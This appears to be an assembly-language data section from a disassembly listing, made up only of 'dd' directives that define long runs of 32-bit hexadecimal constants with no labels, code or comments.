		dd 488384B0h, 6DC3E744h, 7C929171h, 0DE884618h,	7E710066h
		dd 0ABCDA7A6h, 0C8001D8Fh, 144A6578h, 0A77136Ah, 9E97FAACh
		dd 0E261808Ch, 0CB980537h, 8C40DE8h, 4C87036Dh,	0AD1FEDC0h
		dd 811560E0h, 4AAE0D9Eh, 973B341Eh, 0B6EF3DC7h,	0A80FBE50h
		dd 0FC175460h, 30D4249Ch, 0D785080Ch, 0EEB81E02h, 29180CD3h
		dd 2761CB40h, 688335h, 0DA889673h, 0CFEB1FA6h, 4C3814B4h
		dd 0C1040095h, 804A5CB8h, 7B1D5E80h, 8933C75h, 3C6DA01h
		dd 0A018E11Ah, 0C6F05C89h, 67500289h, 0BC98FAD4h, 8184B456h
		dd 0E0BCA1E5h, 75857200h, 795162Eh, 0C8159212h,	519B0CA0h
		dd 6858A05Dh, 0E4DC0803h, 0F5C5DE80h, 0B48F840h, 0DC2B32DCh
		dd 0B0C02548h, 1828857Dh, 29C0F85Dh, 0B971FB08h, 0F1630778h
		dd 0E03299D1h, 0F9FA44ECh, 2960209Fh, 0E80A8Ch,	8F760E4Fh
		dd 0B7C63F7Eh, 0C4E43500h, 29D75AC3h, 10C50598h, 6EC7208h
		dd 4122FAF0h, 3886D600h, 986C15B9h, 7B360009h, 5C2D942Ch
		dd 0E000A5B5h, 0AAC2181Dh, 986904B2h, 763F0095h, 2D93EDA9h
		dd 0A950A08h, 582ACBECh, 602725EAh, 89C0C801h, 98D9C392h
		dd 0E1487FB7h, 1602304h, 80E5DC08h, 88311826h, 0DC001043h
		dd 9A7AF595h, 59BBD76h,	9DFB3808h, 0E8546Eh, 0E6003323h
		dd 11A07C6h, 74448624h,	0C6ED0050h, 892F92B5h, 9B0048D7h
		dd 0D1631033h, 0DCA14174h, 0C4344DB8h, 6C5C02A8h, 11DC0430h
		dd 880680D9h, 0C47892Ch, 0C06BAB84h, 46B80A1Bh,	7F66DF01h
		dd 0BCA81B8Fh, 875C003Ah, 0DE360DE5h, 84BC0195h, 0B804904Fh
		dd 0B3988454h, 96844CECh, 12A09051h, 0CF09A20Bh, 84679DB7h
		dd 6961EB18h, 5C92C471h, 0DA4E448Ch, 8302627Fh,	0B94799C5h
		dd 1FD04013h, 0C4114EC6h, 74E88120h, 9AE20716h,	0BC4882A5h
		dd 79E8A9FAh, 0D19E00A4h, 0A51B545h, 0F4327C00h, 1CC7B134h
		dd 0B9A90277h, 3F4E1591h, 670FD45Eh, 0F5740794h, 6907052Fh
		dd 0CF08490h, 87E1872h,	1A1998A8h, 4FCD7F80h, 0AC1CC4C9h
		dd 0F268DF14h, 0E4606600h, 9982BAEDh, 1D979C4h,	7EF99BCEh
		dd 863BC5CDh, 4B84A0D1h, 0EE0B3C38h, 3BDDD293h,	3B742320h
		dd 31F03781h, 30627753h, 0E098095Ah, 0F3FBA04h,	88ED7305h
		dd 4D2B0A02h, 98408354h, 8F83AB39h, 64E16DE2h, 0EE590080h
		dd 0DE213B62h, 4B1F34BDh, 76802357h, 1CF40CAh, 84B30D3Eh
		dd 3040A04Dh, 0FB5073FCh, 88903BA0h, 477EA44h, 0BD68C5BBh
		dd 6754C29Ch, 12DC0930h, 382E80E6h, 1100525Ch, 1DB650DCh
		dd 141A5D2Fh, 0A4A1852Dh, 463CE910h, 0F30073C0h, 0F0540763h
		dd 267EE260h, 84D89F87h, 8123C912h, 635D2856h, 3050A2ACh
		dd 0D9143D1Ch, 0C0D80AF3h, 9D7D7A43h, 0E0555230h, 0E3013623h
		dd 0E91A04C6h, 53800063h, 20D1C6E2h, 18394A0Bh,	33E0721Eh
		dd 88A10113h, 0F06C17B9h, 0B016D76h, 854BECD6h,	244071B8h
		dd 0AB8F2Ah, 0A6A90E7Eh, 9C29EEC1h, 0E1723905h,	54C0B19Bh
		dd 68D1CE17h, 1FF8A8D0h, 61E46EFBh, 43198A8h, 0DCF10482h
		dd 35920214h, 84A37E85h, 0A1C61C18h, 0CE06E205h, 0C4001A99h
		dd 0CD84A96Bh, 1422B59Ch, 13022768h, 0AE05C90h,	80B81DE1h
		dd 7A71C631h, 143121F1h, 0FC65E903h, 1E1A6FCh, 7EECAC11h
		dd 3E152084h, 0F804440h, 149254h, 7ACA774Bh, 6D984CFFh
		dd 48A5F524h, 78C3F909h, 28251690h, 0CFF8E1F8h,	3A4D2BCh
		dd 0AB11D09Dh, 4629DA80h, 220BBAE6h, 919CFB2Bh,	6088715Ch
		dd 18099BC5h, 0F230FA12h, 90622887h, 102FEFA0h,	0B0398C08h
		dd 1A2C2041h, 0C23590C8h, 0C1CAC6E0h, 560EF89Ch, 0F70C6E7h
		dd 926A7BDh, 12059187h,	0D487AD83h, 621E38EDh, 0CE1E0063h
		dd 397632CCh, 802F0F26h, 12F9F000h, 250E25Ah, 0E58691EFh
		dd 0FC6637DDh, 42D4FA55h, 6A30E294h, 926E1171h,	80438864h
		dd 0DE7163DDh, 0BE05E6F0h, 5C259383h, 0A8A54D0h, 63452D92h
		dd 68C208E2h, 181A2044h, 74B93015h, 0B3274064h,	0C5028D3Eh
		dd 0E169986Eh, 85BC7684h, 94BD48C2h, 96C8085Ch,	0B10D1A9Fh
		dd 60CC1869h, 0C3705B15h, 61093BCCh, 0D84DACA9h, 5980B000h
		dd 0D30B0472h, 14A4E984h, 81A0F80Bh, 0B87D12FFh, 629CC4h
		dd 3341828Ch, 0B42A6742h, 0E9D7EE0Fh, 71EDA059h, 0A3D9E394h
		dd 8D8A890h, 208D2896h,	59EFCACh, 8A48F0CEh, 88908E04h
		dd 0A3F7C045h, 0E75064FCh, 0C1E6B484h, 9B1001BDh, 443068D2h
		dd 11E940EBh, 0CAE41600h, 0FAE2AA70h, 6906C761h, 0B9DFB56Ah
		dd 571300BCh, 4CB6F075h, 491B0076h, 72064BA4h, 6862E56Eh
		dd 7C863538h, 321C448Ch, 30CB118Ah, 64933930h, 1C6E401h
		dd 0A618F11Ah, 4EB5288h, 362E3BC6h, 0E50CC884h,	58E63A01h
		dd 0BEB81E2Ah, 4200D428h, 7DAC6AA2h, 0EC0E60AAh, 6EEF9435h
		dd 0DB0EC319h, 0EC80526Fh, 9930AEF2h, 38EF07F3h, 720DC087h
		dd 0C42EB40h, 11C2CC27h, 30579095h, 0F9410C28h,	23BC582Ch
		dd 7C6C008Ch, 0F799A990h, 0E13CE7FAh, 8A2492AFh, 42C8B0CEh
		dd 0BDCA45C0h, 5FB10063h, 744EBA76h, 54127C9Bh,	74C81D4Ah
		dd 0E1A82638h, 80A11290h, 7D9A7490h, 0A8088550h, 1213AC92h
		dd 0DCF04C1Eh, 0FA0C24AAh, 1FE10BB4h, 0D68F7CA2h, 3D12B8C6h
		dd 94211D18h, 824F813h,	0AD490393h, 0C3A3EFA8h,	0CB7A6DB8h
		dd 0E6C28107h, 841E21E8h, 5481D555h, 418038F9h,	346E6254h
		dd 1F54E09Ch, 7F007184h, 0F4B060D5h, 7C19CF49h,	4C124818h
		dd 9F45BA01h, 747F24F0h, 476CE1Ch, 9425EF04h, 70E41490h
		dd 0F4D4F750h, 0D8B304F7h, 0CCA1AA02h, 0A0E6EA94h, 13D9FCF5h
		dd 47901D02h, 0A0B36A8Ah, 11D4BAE4h, 702807C1h,	0A09D029Ah
		dd 95856C77h, 8CC0F55Bh, 245B1201h, 45CF3FAh, 0C3FDB7A7h
		dd 0B388E74Ch, 40B26174h, 30E0A824h, 0B1F65C60h, 179777D8h
		dd 0E0068415h, 0B848920h, 11C74D32h, 0DE823873h, 5074A024h
		dd 6D600248h, 727C1842h, 0DB87A8D4h, 6491361Ch,	14319EA5h
		dd 0E805E802h, 77B40484h, 1D6A1EAEh, 0B9C8A640h, 344B473h
		dd 9B5D1596h, 0C49E182Ch, 7F6D0F00h, 13BB7690h,	6C84ADEh
		dd 30BF2540h, 8E887258h, 43F38034h, 98180CD9h, 0B44F0016h
		dd 7EFAE6CCh, 4817C18Ch, 8CF043FDh, 9EE90097h, 0E7A0BCDh
		dd 98091EC9h, 621C88B8h, 706C5974h, 0E861B2Dh, 15108F8h
		dd 0D959A360h, 711272D6h, 48903B67h, 94CAFB5h, 90AD94A9h
		dd 18ECC011h, 70710868h, 44C45492h, 7161DB40h, 5100B68Ch
		dd 0B32F8A20h, 0CFE96CBh, 49887F12h, 954AFB28h,	14BC4Fh
		dd 0B2B830B9h, 0AC8920CCh, 0B72598F8h, 62EC916Bh, 0DC080218h
		dd 0CFD680E3h, 0A490071h, 518E87DCh, 3CB9F9h, 0B030B5D5h
		dd 0FAF0135Ah, 4197469h, 70600A5Ch, 0B323695Ch,	1F113Bh
		dd 0E95C38FBh, 7DBD27Dh, 0C21DBB7Fh, 9D818187h,	40017F4Dh
		dd 6886ED40h, 74847470h, 0F11CB9CCh, 0BAB1851h,	74AA1F83h
		dd 450B80Bh, 465EA896h,	615879A6h, 0AE8910E8h, 283F524h
		dd 862660CEh, 19223CECh, 8874A032h, 0ACD31671h,	72E8B039h
		dd 7C821E5Ah, 58CC5B7Ah, 0AA00A1E4h, 5B6C15F3h,	1D29A01h
		dd 7E2C83B8h, 571A127Dh, 0DC25F290h, 502C74D6h,	6996E909h
		dd 507571ACh, 549D2820h, 61FAF403h, 97C1B934h, 63E2C40Bh
		dd 6C680E24h, 6CA7CC2Ah
		dd 14614F64h, 80F03CA7h, 2F036E69h, 152B00A0h, 8F64BFF3h
		dd 2D777F6Bh, 0D577B20Bh, 0BE58D990h, 3D71C588h, 20984A09h
		dd 0DDCD3368h, 3FBCBAB6h, 0BCC0082Dh, 40731935h, 9C48BCB9h
		dd 6044E92Fh, 107C9703h, 305D0507h, 81693E28h, 549699EDh
		dd 703A5712h, 5B012423h, 90C50EABh, 92D0317Ah, 0E55FE1Dh
		dd 9DFA62B8h, 2D0DC39h,	4D70BF99h, 361178D6h, 0BC2E1209h
		dd 94B33860h, 9485615Bh, 4F88F48Eh, 35ED10C0h, 306F484Dh
		dd 0C068A816h, 0F9E58768h, 1462D494h, 0B9730592h, 184F00E8h
		dd 0F716EAC8h, 0E7EC00A5h, 0EFB88861h, 23013FFAh, 0C6015AB9h
		dd 48812B69h, 9DD19C6Bh, 2EE42C55h, 46747065h, 0BB00024h
		dd 3606CC65h, 78870293h, 38565BF8h, 5397BC40h, 40C083B5h
		dd 4B0FF862h, 996702B0h, 0B9ACD2C6h, 0A8081C70h, 3D26AF45h
		dd 243AF502h, 0B0717CDAh, 80A80A3Ch, 0B0B8820h,	11FC9D8Bh
		dd 52BA80ADh, 0F7B3D3h,	4035E0EEh, 1AFEB49Fh, 422E181h
		dd 0A4053401h, 417CB6DFh, 8F98728Ch, 634B5549h,	0D9F1B702h
		dd 94700F8Eh, 0E24C8B1Dh, 0CC0C77CAh, 1818E0B0h, 1C62A17h
		dd 0D97204E0h, 0D7A1EE20h, 0E608CA4h, 6C05BCACh, 5BB36D5Ch
		dd 0F7C084F2h, 35755C34h, 6A588A50h, 0B334D27h,	41F005BCh
		dd 0F41A50D2h, 74A9506Ch, 0C28595Dh, 193EF9FBh,	0E0620142h
		dd 943DDDF8h, 5870DA2Dh, 195FDA0Eh, 8A508F0Fh, 1E81E8EFh
		dd 7A626F87h, 0D9AC6439h, 0B5489500h, 7B05FCAAh, 2C2AFCF4h
		dd 8190CDADh, 20A425A8h, 0E8BC2875h, 4A058C2Dh,	9F36BCBFh
		dd 7F05ACE2h, 5235F9CDh, 0C1B808C4h, 4C880B97h,	547A74h
		dd 0A0E367D6h, 2EECAD6Bh, 2C253Ah, 0F1FBDDAAh, 0B8D89491h
		dd 0B81B1690h, 5EE882F8h, 7458C8F3h, 0E0715C80h, 309CD180h
		dd 0BA008A2Ch, 29AD33D0h, 2C1517C8h, 0F6E807E3h, 0D5F73600h
		dd 0C6C571C2h, 0AFD20280h, 2F11CE0Ah, 0A87B8884h, 8CADB868h
		dd 0B4B6E700h, 59D934Ch, 9F520332h, 155FC24Dh, 3874F4D9h
		dd 8CB097C0h, 20C75F9Bh, 3BC0A9E8h, 802F963Dh, 2E277E73h
		dd 54BC442h, 0A9CCB171h, 0B898C895h, 2B5B4C43h,	2F23E0h
		dd 0FBEAAF7Ah, 6505CC6Bh, 0C5ACB42Dh, 1000CF8h,	1BB17212h
		dd 7AE3A808h, 80886C00h, 25CCB4B7h, 0D468C415h,	9095247Bh
		dd 823DC074h, 0A7793079h, 0AD044F18h, 25E580EAh, 809118F1h
		dd 0C6270B94h, 1CDC40C1h, 0D247E4C0h, 0E5A4A018h, 6CB00747h
		dd 4A59E0E2h, 81540040h, 1ACDC15Eh, 3268074Dh, 50DF6DAAh
		dd 41505BBh, 351080C4h,	80251621h, 77C5BB51h, 9F81541h
		dd 193C2D93h, 0A4BDF4E8h, 82AC6382h, 14CCFA17h,	0EC13C341h
		dd 0A06A3F88h, 9F3465Ch, 580ED2E3h, 0F95107A4h,	782184BBh
		dd 0E0701C1Eh, 5C3C6E5h, 0B8116189h, 7249160h, 0B848A7DBh
		dd 8338A124h, 7FF869E1h, 0C284BC40h, 3F425Ah, 7D7CF1E7h
		dd 7A1D966Eh, 88546F4Ch, 5C6DC00Dh, 3346B36Ah, 0F2002022h
		dd 317B5C35h, 7E99F624h, 0B5A402AAh, 0ADD97CB4h, 0B3919CA0h
		dd 11C625ACh, 4668D26Ch, 5C6E070Ch, 0C428B36Bh,	36F14019h
		dd 62D5Ch, 374D5D22h, 0A0CC1FCBh, 3C812AE1h, 4244BE1h
		dd 6F531D64h, 989AC1E6h, 0E40A7AA5h, 0E100BEB2h, 0A6EB8F3Dh
		dd 0C8D980D0h, 6FC00BF1h, 46B3685Ch, 1A2243h, 4C5C37FCh
		dd 3E4AD232h, 18841524h, 1A408h, 79ED1935h, 14347CAFh
		dd 28A2F06Dh, 17304EF2h, 7F100B65h, 78229175h, 0A0909FEDh
		dd 9900934Dh, 506015EBh, 4C48B39Ch, 0A6E8801Fh,	2DA5FA8Ch
		dd 0AC20E09Ch, 6DECF21Ah, 5E446800h, 0DAB8A302h, 0BF740AE8h
		dd 13548536h, 109C9073h, 0E300174Ch, 13706854h,	3FBFE818h
		dd 6E1282D6h, 98BC04FAh, 4115213Eh, 0C3D89B15h,	0FAA5CEAFh
		dd 0B58C82D7h, 0F4B8C49Bh, 90578217h, 14C3030h,	2E7499F5h
		dd 0C17EB4BDh, 0C5E020A5h, 0ACC99C4Ah, 7208406Fh, 0CB35E794h
		dd 0E9F98A08h, 889E0307h, 7E802BABh, 0DF4C4EEDh, 3CD02E68h
		dd 85CC8F49h, 0C61DAEFh, 3070A1BBh, 0E6A08C38h,	0F9581A02h
		dd 0EC51E04Ch, 6FAC3CC6h, 0EA6C5F01h, 0F4361815h, 0C5138167h
		dd 0B4111999h, 914E21ACh, 63C21364h, 0F5F7F404h, 47886CA8h
		dd 78A78CBEh, 0FF7F3848h, 1DBCD8F2h, 2D96312h, 19D23002h
		dd 3C7D3C49h, 22B458ACh, 0B6E4012Ah, 407B54CBh,	0ECD4CCF2h
		dd 3F111718h, 3094D321h, 438C161h, 5801C379h, 0CD97BAA0h
		dd 0C07470DDh, 828C0FC9h, 5CC91B34h, 8900C4D0h,	3898C18Bh
		dd 7857A40h, 5D16E568h,	0A79A314Eh, 0C03C1Ch, 3CFF9B69h
		dd 6029CE0Bh, 0B977C0D4h, 725DE06Ch, 9ABCB8h, 764C95C5h
		dd 0E533C6BBh, 0F52200B0h, 1F4D2A92h, 7CA90CA8h, 2D195BEFh
		dd 75022C10h, 81A8EA17h, 39A5ADD4h, 41E73A84h, 2096C412h
		dd 1568C01Ah, 515A02F5h, 18A07944h, 0FC4806F2h,	199F71D6h
		dd 37B0B900h, 0F0EAE631h, 7C80E232h, 0D9D4093Bh, 0D4DB9BBDh
		dd 0A922ABE4h, 925844C6h, 38FD33A2h, 0EDE012AFh, 0E3BC0310h
		dd 0E8106FD9h, 3C002A17h, 0E1604354h, 895D9D7Eh, 0B81A09D0h
		dd 7D286090h, 5AF427C5h, 7100FC66h, 76ED999Ch, 271A614Eh
		dd 4C00D02Eh, 0FA52889Bh, 45201300h, 89AD3171h,	44209F97h
		dd 9D2584D3h, 0F44B11F1h, 0CDB80B14h, 58E570ABh, 2160AAE4h
		dd 3E012C0Bh, 0CD9E3526h, 2030DC4Ch, 0B45C8Dh, 68C090D2h
		dd 6E092401h, 58C5E57Fh, 307261B4h, 80AA4E9h, 9118B939h
		dd 0DC058063h, 8C0E80DAh, 46212E60h, 794CDC0Dh,	0B4C60B62h
		dd 0F802DF25h, 87016AD9h, 71C629E5h, 903108B4h,	66241809h
		dd 0ADBD20A0h, 0F1A07330h, 5BA7EB2h, 18297271h,	1A9681D2h
		dd 0F82AD9A4h, 849A602Bh, 6F41BB09h, 4C409605h,	0ACC098F9h
		dd 0CD7F21BDh, 58278926h, 0D163B044h, 202F314Bh, 43F2423h
		dd 42FAD19h, 2989C4ACh,	0A16E2D8Fh, 59BCE02Ah, 9581102Ah
		dd 1C9E5Dh, 0B0851312h,	860AF57Bh, 0A033F9E5h, 94506869h
		dd 1E182025h, 19442C8Eh, 50E67A21h, 43A87837h, 0ACCA214Ch
		dd 2D465C3Ch, 22F02100h, 6D8A4B23h, 86C2D204h, 84E0E575h
		dd 7D1B24AEh, 2C467428h, 0D4420200h, 75E41C1Eh,	7EB84902h
		dd 82419DC5h, 224BF064h, 80819A2Eh, 13BE7Dh, 3D381A85h
		dd 7F0B240Ch, 0A043799Dh, 5054A2DCh, 664F6CF8h,	0A920F4DBh
		dd 4D159439h, 84B30BA8h, 9674C0F1h, 0EE801F2Dh,	0B7850276h
		dd 0A4846903h, 5C6A6010h, 8BB3106Fh, 32FDB03Dh,	0ACDD005Ch
		dd 0D4055D79h, 0B5646DCCh, 40BB73C8h, 2152C18h,	6AE6C8A5h
		dd 3F8FBE2h, 6B10BB09h,	0C0188209h, 842C54C4h, 816C1B5Ah
		dd 182841BCh, 7E2D8394h, 81188FC4h, 0C0138193h,	488CD0C6h
		dd 0E0240C06h, 20467E84h, 8E55BF0Eh, 7EBD6320h,	352532EEh
		dd 638298Ah, 20A06F48h,	497312Dh, 0CB573B8Ch, 0C044C8E0h
		dd 4CFA32B9h, 12BD8809h, 4D9C01D2h, 0B908DDDCh,	0E29A31C0h
		dd 24FC4A0h, 12379C80h,	18545826h, 9A7ED90Bh, 0E47140h
		dd 0BD670DE2h, 9A04FA2Eh, 0A96E6407h, 0F2532CD0h, 4E5090B0h
		dd 7964C18Dh, 6690F8C6h, 894B9E7Ch, 16974A0h, 92426F16h
		dd 12F5825h, 785A0A8Ah,	0CF323BC0h, 6C0BFCB0h, 980AB2AAh
		dd 25A01A3Ch, 0A0FA41DCh, 17B436F3h, 0A042BA2Dh, 49CCA81Ah
		dd 5C39E11Ch, 7C73A01h,	0D88C5B48h, 1A003258h, 9B438121h
		dd 97FA0549h, 7D6BC00Fh, 40183CB0h, 8A0034B0h, 0F30C3C0Eh
		dd 2F59FC3h, 50B34B61h
		dd 0B4E8517Dh, 18D6A642h, 0A9C8388Bh, 0C05D1DC0h, 40DF0569h
		dd 0C277928Dh, 185AE1CCh, 75D9EB00h, 0D688DE25h, 520B029Ch
		dd 0D824C3D0h, 0B9C1A0E0h, 58FA1345h, 879B0094h, 0CCAF4258h
		dd 0C182AAC9h, 0E8D65430h, 0BE473AA4h, 0AD465E5Ch, 0DD4ABF00h
		dd 648D915Ah, 4609DE75h, 9E60148h, 3B14E181h, 0B5614C60h
		dd 96500Eh, 0B37CD9ECh,	94A73EFBh, 6067AA44h, 6F247DEh
		dd 7CB33E0Ah, 0F180FC4Dh, 2984AFA3h, 3A0F5F81h,	1F43236Ch
		dd 0DDB87FFAh, 4C2E1389h, 850058F0h, 0AA0194B8h, 0EE193B3Ah
		dd 445A40h, 0B9771CE4h,	21017DA8h, 8E94CE9Fh, 24FC78ECh
		dd 9669025Bh, 76578C15h, 1D20DCF8h, 0E0A83C9Eh,	4D96ED3Dh
		dd 0B2A0C4ABh, 301FF2D8h, 7300978Dh, 10D24C7Ah,	1C0C33Fh
		dd 9F1EAC87h, 509B85CDh, 0D6934AF4h, 8AA59601h,	542D3408h
		dd 15EC1424h, 0CCE69471h, 8A81B06h, 0E7F0E03Fh,	27ACE156h
		dd 0F8D0DA72h, 63E2004Ch, 1160107Bh, 397EA5F2h,	79EEC504h
		dd 0E1C1F11Ch, 2066E0A7h, 2A451FF0h, 0AA980B12h, 17F88E4h
		dd 7E944790h, 4A93B1D7h, 0C027C82Ch, 13E0B6C0h,	0C5070C92h
		dd 0EEA3DACDh, 4F884B50h, 7F463E2Bh, 19127h, 0FC81317Bh
		dd 10C03EFDh, 0AE5EBA71h, 68960657h, 6136F8CAh,	0AB39DA00h
		dd 3CBB4D0Fh, 0DBA23CAAh, 2AD1B281h, 0C8751401h, 0ED006104h
		dd 9F97E471h, 51ACA6Dh,	819D7D0Eh, 81DC878Ch, 3F5028B0h
		dd 0C88BFC0Ah, 0CE3B8809h, 2409B024h, 0F4019DAh, 0B80176D7h
		dd 78FBD392h, 4330E830h, 57A0051Bh, 0B004AE84h,	0E4910DCDh
		dd 2F6F3D0Fh, 3B312388h, 21C7EE83h, 4B80861Eh, 691379ECh
		dd 0CCECA42Dh, 0E1ACD104h, 92F50097h, 0ABAA5B9h, 1EDF9DAAh
		dd 2FA882D0h, 0C0E00B86h, 29007CADh, 0F693BA61h, 0C77E91A6h
		dd 77E47279h, 4B1A80BFh, 97122464h, 41B4B8h, 7102C1A9h
		dd 0F2C3B2CDh, 0FACC490Dh, 0B5D6BC10h, 0C5608197h, 0C872427Dh
		dd 0A899B427h, 0E4041561h, 84B4A2F9h, 22064E6Bh, 0ED29D93Ch
		dd 0AB38C014h, 9625169Ch, 24308031h, 0B24D30A8h, 3FE4077Ch
		dd 0D038F86Dh, 0FE2A84B0h, 8A070C90h, 0AD7E317Ah, 0D86F3B45h
		dd 30C2F300h, 0D4C2F13h, 0F14D9806h, 4AF06003h,	49441CBDh
		dd 74816C08h, 47646502h, 0B4D4C9DCh, 8CB19F83h,	0DFDD86Fh
		dd 32A71FE5h, 395847E3h, 9763615Fh, 1A5ECC99h, 809CFA48h
		dd 2767511h, 6FC100E4h,	0D5609525h, 6C17ABB6h, 4800E1A8h
		dd 0DFFADA5Bh, 8B6E09EBh, 4CD6FB0Dh, 88373140h,	97092C19h
		dd 58D200DBh, 18F42579h, 0C029C62Dh, 4C8A7210h,	0D4093327h
		dd 38FA74FAh, 3774D10h,	2DA43193h, 0F0162B68h, 279ACB2h
		dd 0AD40D9E2h, 75609F4Fh, 0A8B9FAF9h, 4C40E51Fh, 13CAFB54h
		dd 7CD0B8D1h, 1F1880D6h, 0DE28A99Dh, 0F9D940A0h, 0A2000467h
		dd 0FE06510Eh, 148C8C6h, 0B2278628h, 38B371CCh,	89248C80h
		dd 0FFAEA172h, 657D9070h, 0A9F9E034h, 0E3017CBCh, 0A04BBDE1h
		dd 0D8ECE91Fh, 0B37809EDh, 2884364Ah, 946F43C8h, 7491C515h
		dd 0C42D7E35h, 0E42D6C0Dh, 0EC71EE19h, 8B18AED9h, 4F0006ECh
		dd 0A40386FDh, 98BA577Ch, 94DC002Ah, 9E8BF06Fh,	0E0B4817Bh
		dd 74AB465Eh, 0E50B8477h, 8424F510h, 0DCD44138h, 0DC8420EEh
		dd 0F9E6DD05h, 77810901h, 9459E22Ch, 230ED042h,	593C9D73h
		dd 5BA480F0h, 0E10151D4h, 224C4C8Fh, 7CC19F7Dh,	0FA0400ABh
		dd 0E0C92CEh, 45AE8D4Dh, 757508E5h, 64240AA4h, 0EAA981A4h
		dd 3EBCD699h, 88358405h, 50251445h, 127DCCD1h, 18005C72h
		dd 2ECF6C40h, 3729B9E7h, 0A7D1C409h, 4DE0A018h,	0D39A7203h
		dd 0F09C47D5h, 499EFB3Dh, 24064C34h, 98A28762h,	3DA08522h
		dd 0EB00DB9Ah, 0EEBB511Ah, 507DA1E6h, 0D4F892B7h, 0AF00DC50h
		dd 3921106Ah, 308ACA47h, 2D219A71h, 511C3790h, 4800EA02h
		dd 0AA95A3DEh, 2044986Bh, 1449C1D1h, 89E435B0h,	2DC7FCC4h
		dd 1E83756h, 0FC8CEDE0h, 3009851Ch, 0BB8965E0h,	0F9016FF4h
		dd 328484EEh, 3DC304h, 78A1CE4Bh, 97FC9190h, 83D51281h
		dd 7DA040ECh, 31384E5h,	64301B6Fh, 0E8A50125h, 2D9A0010h
		dd 824FBCFEh, 0A101C57Eh, 0ACB3F7A7h, 993F933Dh, 86E7B28h
		dd 98D04204h, 5B3F81E7h, 841C2016h, 40994CA4h, 971874D1h
		dd 340BE00h, 375C39D0h,	0E02E3812h, 0E384014Ah,	24802D93h
		dd 0CC13AF54h, 90E753DBh, 0C10F72A0h, 6EFAA501h, 92E104B7h
		dd 89B074C6h, 547A18F0h, 455C4C20h, 9C2F2F1Eh, 85005123h
		dd 0B8A94939h, 0F02D133Bh, 9060F41Ah, 0ACD0485Bh, 2DADEEBCh
		dd 0B0E031F9h, 4500CD9Eh, 1D0FB2CBh, 4E73B798h,	3964D11Ah
		dd 0BB77002Bh, 0CF3B3DC6h, 0FF801C48h, 6FB89F5Ah, 85C9F95h
		dd 0FE611B02h, 79200AE4h, 86500521h, 821A0FB1h,	0CCD45A08h
		dd 348E425h, 93AA4217h,	2820481Bh, 88C4441Ch, 5004742Ah
		dd 1E0D9301h, 342253C0h, 0F2950CE0h, 17E30986h,	28006C48h
		dd 1DDDF9CBh, 0C5807491h, 7ADC8A2Eh, 57D53AE2h,	7713C000h
		dd 37719EA8h, 0BC4E3B5Eh, 2C48709Ch, 296B9320h,	79B079A9h
		dd 4FCA184Eh, 16D0C006h, 0B0394DECh, 45759295h,	88F948A0h
		dd 0DB002A23h, 0D02CC709h, 4A9DA3h, 497F6292h, 72101F19h
		dd 0C03B6324h, 7A9467Ch, 0E4BB2E1Eh, 4B69F51h, 6ACFC980h
		dd 0A2FBCAB2h, 5851304h, 6CB51618h, 47B6460h, 8DE08ED4h
		dd 86DCF497h, 0C7832112h, 6360301Dh, 73685166h,	9A0079C6h
		dd 6BEB1F4Eh, 0BAB9E93h, 3DB0A019h, 0B9CE408h, 0F8FA6815h
		dd 0D7E57C13h, 240490E8h, 4020E06Ch, 44DBE83h, 0C2CC16AEh
		dd 76640D7Eh, 0BCD428A1h, 0EEE08C23h, 0E8F95009h, 5D88013Ah
		dd 7617DDD3h, 2040D9BAh, 0D4608A1Bh, 0A1C7D4D1h, 60DB60A8h
		dd 0F70DE560h, 68401887h, 32B94CE0h, 53FC3A1Dh,	0F04D9F00h
		dd 0A68FFA03h, 61743BACh, 9A2034C8h, 4C48FE43h,	0F8C45B8h
		dd 5C988BABh, 36CA8940h, 9F278193h, 2060E6BBh, 0A0A02251h
		dd 0C0D7D1CAh, 2E23BC2Fh, 0C6796200h, 4ADF9CF9h, 0A9282005h
		dd 709EB974h, 0A0241007h, 1C0741Bh, 77099FD1h, 0A46E7F12h
		dd 0F8BBFB09h, 2D3C64DAh, 610B00EAh, 1F1083C6h,	5240159h
		dd 4EB5EE88h, 2D817078h, 0BC82AC4Fh, 0F01857DAh, 252048BAh
		dd 67872D4Bh, 0CC4F441h, 6B058CE1h, 6C926F71h, 0F8DCC038h
		dd 0AB8A0071h, 0C32350CAh, 3A01BA8Ch, 17D8570Eh, 6B6F7B18h
		dd 78B800E4h, 2AC1B2A4h, 22E60EEFh, 0F4EB6B4Eh,	0A558445Bh
		dd 0FE2C1CF8h, 0BBFA0492h, 8BB0C20Ah, 0F3582CF3h, 0D58F00E0h
		dd 18D1A512h, 0F74E5A4h, 8162481Dh, 0F8804B93h,	127D6724h
		dd 0A8D89D95h, 8CAAEC04h, 0D80CD700h, 855396E8h, 48BB595h
		dd 50D13079h, 25128218h, 0CA85CA9h, 2F958480h, 1800A04Eh
		dd 195AB72Eh, 45227Eh, 6F655FDEh, 96214D55h, 0B3661502h
		dd 60EC9576h, 80E30D58h, 0B624B01Eh, 0D000A8F5h, 33B1AAE6h
		dd 0CCDF0034h, 0FDD88B02h, 91E2E40h, 7ED794B0h,	0A21D5CC3h
		dd 0C950405Dh, 34AB06BAh, 99E2C141h, 7CA41B00h,	0C01CE154h
		dd 493B5FE0h, 40709788h, 13949940h, 0FD3EB945h,	0E78708A8h
		dd 8210B010h, 0C08A0A51h, 4FB0554Ch, 94A0C813h,	0C48B3526h
		dd 0B1F9A99Dh, 6F3D59ADh, 413C806Fh, 9C5F5CC8h,	1F478CDh
		dd 0D30A3478h, 58C40799h, 0E933904Fh, 452FE586h, 3F7C9132h
		dd 0DE00D9A4h, 0F8859827h, 724D40CCh, 5413E405h, 26C4E587h
		dd 0BF853406h, 0F6FB4A59h
		dd 0D1ED183Ch, 0CAD4B91h, 9B7482A2h, 0F08AE1A8h, 419F6B80h
		dd 0EC70A8FBh, 0B01FE864h, 307D2718h, 46E8CCA2h, 0BC43BC1Bh
		dd 0A0A890F1h, 0A1953604h, 0DDF09ED4h, 7DE96708h, 0B5D2E8C8h
		dd 7E1244ECh, 803DCDh, 16EAB81Eh, 3037FC8Fh, 78B1D65Ch
		dd 1BEE5A05h, 0ACCCA8h,	0C0346F24h, 0F8B7E9Eh, 2CCB6D4Ah
		dd 301AF5C4h, 950B3ADFh, 893BBCC6h, 17823D54h, 0CB334FBh
		dd 0A84B0F07h, 0AB9B545Bh, 71D32020h, 875C0089h, 956B5262h
		dd 7D1C26F2h, 0E25F60F7h, 35E094C1h, 44300119h,	986A956Eh
		dd 50DFC360h, 0BC0A9500h, 0F8EFD1DEh, 7C66B5F5h, 9178979Dh
		dd 0BCCA812Dh, 10700259h, 9D1684FCh, 8C804379h,	0B8B0B67h
